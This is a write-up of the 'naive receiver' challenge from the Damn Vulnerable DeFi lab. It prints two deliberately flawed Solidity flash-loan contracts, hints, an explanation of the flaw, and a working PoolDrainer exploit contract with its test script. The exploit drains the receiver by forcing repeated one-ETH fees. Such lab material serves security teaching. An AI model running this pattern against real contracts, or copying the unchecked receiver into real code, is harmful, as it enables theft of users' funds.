Challenge:
Our second challenge is called ‘naive receiver’ and it comes with the following prompt:
There's a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.
Drain all ETH funds from the user's contract. Doing it in a single transaction is a big plus ;)
Our goal therefore is to drain all ETH funds from the user’s deployed contract!
The contracts for this challenge are located in contracts/naive-receiver/. The contract code can be found below:
FlashLoanReceiver.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title FlashLoanReceiver
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FlashLoanReceiver {
using Address for address payable;
address payable private pool;
constructor(address payable poolAddress) {
pool = poolAddress;
}
// Function called by the pool during flash loan
function receiveEther(uint256 fee) public payable {
require(msg.sender == pool, "Sender must be pool");
uint256 amountToBeRepaid = msg.value + fee;
require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
_executeActionDuringFlashLoan();
// Return funds to pool
pool.sendValue(amountToBeRepaid);
}
// Internal function where the funds received are used
function _executeActionDuringFlashLoan() internal { }
// Allow deposits of ETH
receive () external payable {}
}
NaiveReceiverLenderPool.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title NaiveReceiverLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract NaiveReceiverLenderPool is ReentrancyGuard {
using Address for address;
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
function fixedFee() external pure returns (uint256) {
return FIXED_FEE;
}
function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= borrowAmount, "Not enough ETH in pool");
require(borrower.isContract(), "Borrower must be a deployed contract");
// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(
abi.encodeWithSignature(
"receiveEther(uint256)",
FIXED_FEE
),
borrowAmount
);
require(
address(this).balance >= balanceBefore + FIXED_FEE,
"Flash loan hasn't been paid back"
);
}
// Allow deposits of ETH
receive () external payable {}
}
The hints and solutions for this level can be found below:
Hint 1:
We are only concerned with draining the funds from the FlashLoanReceiver (borrower) contract. Is there a way we can make the borrower contract pay more than they should for a loan?
Hint 2:
What is weird about the way the amount to be repaid is calculated in receiveEther()
?
Solution:
The problem is twofold
1. Anybody can call a flashLoan on the receiver's behalf by passing in their address as the borrower parameter for the flashLoan() function in the lending pool contract.
2. The FlashLoanReceiver does not perform any checks on whether the transaction actually makes financial sense for the receiver. They accept the flash loan, perform an action, and then, regardless of the outcome of that transaction, repay the borrowed amount + a fixed fee of 1 eth.
With this in mind, we can see that we can force the flash loan receiver to spend 1 eth per flash loan. This can be achieved by passing in the flash loan receiver's contract address and a borrow amount of 0 to the flashLoan() function in the lending pool contract.
Doing so will call functionCallWithValue() on the flash loan receiver with a callvalue of 0 eth and fee parameter of 1 eth.
To put this all into a single transaction, we could simply write our own contract that would call the flashLoan function as described above 10 times.
Ethers Hint:
We want to deploy a contract and then call a function in that contract that will in turn call flashLoan()
. Much of this code can be cannabalized from the before
function in naive-receiver-challenge.js
.
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const PoolDrainerFactory = await ethers.getContractFactory('PoolDrainer', deployer);
this.drainer = await PoolDrainerFactory.deploy(this.pool.address);
await this.drainer.attack(this.receiver.address, 0);
});
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title PoolDrainer.sol
* @author securerodd
*/
interface INaiveReceiverLenderPool {
function flashLoan(address,uint256) external;
}
contract PoolDrainer {
INaiveReceiverLenderPool public pool;
constructor(address _poolAddress) {
pool = INaiveReceiverLenderPool(_poolAddress);
}
function attack(address _victim, uint256 _amount) external {
for (uint i; i != 10; ++i) {
pool.flashLoan(_victim, _amount);
}
}
}